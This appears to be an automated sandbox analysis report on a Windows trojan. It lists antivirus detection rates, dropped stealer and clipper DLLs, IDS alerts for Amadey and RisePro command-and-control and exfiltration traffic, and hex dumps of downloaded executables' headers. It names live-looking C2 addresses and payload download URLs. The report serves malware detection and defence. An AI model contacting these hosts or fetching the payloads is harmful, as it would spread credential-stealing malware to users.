Source: http://193.233.132.56/Pneh2sXQk0/index.phpF	Virustotal: Detection: 19%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.phpq8	Virustotal: Detection: 19%	Perma Link
Source: http://193.233.132.167/mine/random.exe	Virustotal: Detection: 23%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.phpUsers	Virustotal: Detection: 14%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.phpoded	Virustotal: Detection: 19%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.phpmb3JtLXVybGVuY29kZWQ=	Virustotal: Detection: 19%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1a	Virustotal: Detection: 19%	Perma Link
Source: http://193.233.132.167/mine/amert.exe	Virustotal: Detection: 26%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	ReversingLabs: Detection: 42%
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Virustotal: Detection: 47%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Virustotal: Detection: 78%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Virustotal: Detection: 47%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Virustotal: Detection: 62%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	Virustotal: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Virustotal: Detection: 57%			Perma Link
Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	ReversingLabs: Detection: 47%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000051001\b977f667d6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 13.2.rundll32.exe.6e5b0000.0.unpack	String decryptor: 193.233.132.56
Source: 13.2.rundll32.exe.6e5b0000.0.unpack	String decryptor: /Pneh2sXQk0/index.php

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49794 version: TLS 1.2

Source:

Binary string: D:\Mktmp\StealerDLL\x64\Release\STEALERDLL.pdb source: cred64[1].dll.6.dr

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49737 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 193.233.132.56:80 -> 192.168.2.4:49737
Source: Traffic	Snort IDS: 2855239 ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) 192.168.2.4:49741 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2856151 ETPRO TROJAN Amadey CnC Activity M7 192.168.2.4:49742 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.4:49743 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.4:49745 -> 147.45.47.93:58709
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.4:49745
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49745 -> 147.45.47.93:58709
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.4:49746
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.4:49747
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.4:49748 -> 193.233.132.56:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 193.233.132.56 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 193.233.132.56

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.45.47.93 ports 0,5,7,8,58709,9

Source: global traffic

TCP traffic: 192.168.2.4:49745 -> 147.45.47.93:58709

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:21:05 GMTContent-Type: application/octet-streamContent-Length: 1285632Last-Modified: Sun, 03 Mar 2024 11:54:33 GMTConnection: keep-aliveETag: "65e464f9-139e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 69 12 e4 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:21:06 GMTContent-Type: application/octet-streamContent-Length: 2256896Last-Modified: Sat, 13 Apr 2024 16:50:12 GMTConnection: keep-aliveETag: "661ab7c4-227000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b6 2a 19 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 ac 03 00 00 00 00 00 00 10 58 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 58 00 00 04 00 00 ac 52 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 4c e1 57 00 4c 00 00 00 6d 80 14 00 95 00 00 00 00 50 14 00 50 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c e1 57 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec e0 57 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 50 2e 00 00 00 50 14 00 00 0c 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 14 00 00 02 00 00 00 5a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 90 14 00 00 02 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6d 6d 69 71 77 62 64 00 10 19 00 00 00 3f 00 00 10 19 00 00 5e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 6e 6d 79 77 64 70 00 10 00 00 00 10 58 00 00 02 00 00 00 6e 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:21:09 GMTContent-Type: application/octet-streamContent-Length: 112128Last-Modified: Sun, 03 Mar 2024 11:54:32 GMTConnection: keep-aliveETag: "65e464f8-1b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a 12 e4 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:21:12 GMTContent-Type: application/octet-streamContent-Length: 2263040Last-Modified: Sat, 13 Apr 2024 16:50:25 GMTConnection: keep-aliveETag: "661ab7d1-228800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b6 2a 19 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 c0 03 00 00 00 00 00 00 90 58 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 58 00 00 04 00 00 3b 36 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 5a 58 00 4c 00 00 00 5e 80 14 00 72 00 00 00 00 50 14 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a 58 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 59 58 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 2b 00 00 00 50 14 00 00 0c 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 14 00 00 02 00 00 00 5a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 90 14 00 00 02 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6c 7a 6e 64 67 7a 71 00 30 19 00 00 60 3f 00 00 26 19 00 00 5e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6d 6e 6b 6e 69 66 6c 00 10 00 00 00 90 58 00 00 04 00 00 00 84 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:21:19 GMTContent-Type: application/octet-streamContent-Length: 1876480Last-Modified: Sat, 13 Apr 2024 16:50:51 GMTConnection: keep-aliveETag: "661ab7eb-1ca200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2a 52 e4 13 6e 33 8a 40 6e 33 8a 40 6e 33 8a 40 35 5b 89 41 60 33 8a 40 35 5b 8f 41 f0 33 8a 40 bb 5e 8e 41 7c 33 8a 40 bb 5e 89 41 7a 33 8a 40 bb 5e 8f 41 1b 33 8a 40 35 5b 8e 41 7a 33 8a 40 35 5b 8b 41 7d 33 8a 40 6e 33 8b 40 ba 33 8a 40 f5 5d 83 41 6f 33 8a 40 f5 5d 75 40 6f 33 8a 40 f5 5d 88 41 6f 33 8a 40 52 69 63 68 6e 33 8a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 b2 bf 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 aa 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 78 24 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 70 06 00 6a 00 00 00 00 60 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6d 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 6d 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 72 68 77 6d 63 6d 6c 00 b0 19 00 00 c0 30 00 00 b0 19 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 62 74 69 77 74 79 64 00 10 00 00 00 70 4a 00 00 06 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 